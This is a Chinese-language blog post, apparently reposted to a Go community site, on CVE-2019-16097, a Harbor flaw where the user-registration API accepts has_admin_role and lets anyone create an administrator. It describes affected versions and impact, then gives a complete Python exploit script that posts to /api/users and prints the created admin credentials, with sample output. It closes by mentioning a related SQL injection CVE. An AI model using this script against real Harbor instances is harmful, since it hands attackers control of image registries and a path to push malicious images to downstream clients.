CVE-2019-16097

RabbitMask · · 832 次点击 · · 开始浏览    
这是一个创建于 的文章,其中的信息可能已经有所发展或是发生改变。

漏洞名称:

Harbor任意管理员注册

漏洞简介:

因注册模块对参数校验不严格,可导致任意管理员注册,tui~,就是对has_admin_role压根就没有校验,在普通用户注册基础上增加该值属性为ture即可直接注册管理员,恶臭!

漏洞危害:

攻击者可以通过注册管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

影响范围:

1.7.0-1.7.5
1.8.0-1.8.2

漏洞复现:

大约如下这个样子,但是,虽然注册功能默认开启,但确实是可以关闭,关闭之后注册账号功能处空白,且漏洞无法复现。

什么?懒得开Burp,我也懒,,,还懒得传github,,,就丢这儿吧。

from urllib.parse import urljoin
import requests
import sys

requests.packages.urllib3.disable_warnings()

def poc(url):
    data = {
            "username": "test1234",
            "email": "test@qq.com",
            "realname": "test",
            "password": "Test1234",
            "has_admin_role": True,
            }
    try:
        response = requests.post(url=urljoin(url, '/api/users'),json=data,verify=False)
        return response.status_code
    except:
        pass


if __name__ == '__main__':
    url = sys.argv[1]
    if poc(url)==201:
        print('Success!\nUsername:test1234\nPassword:Test1234')
    else:
        print('Fail!')
python harbor.py http://127.0.0.1
Success!
Username:test
Password:Test1234

END

其实,在此之上,还有一个高危漏洞:CVE-2019-19029,通过用户组进行SQL注入,具有项目管理功能的用户可以利用SQL注入来从底层数据库读取机密信息或进行权限提升,配合此漏洞那岂不美滋滋???
虽然是去年的CVE,但漏洞公开时间就在最近,我审了半天源码也没看懂利用链,原谅我Golang仍不到家,再此Mark一下,期待大佬交流与研究。


有疑问加站长微信联系(非本文作者)

本文来自:简书

感谢作者:RabbitMask

查看原文:CVE-2019-16097

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

832 次点击  
加入收藏 微博
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传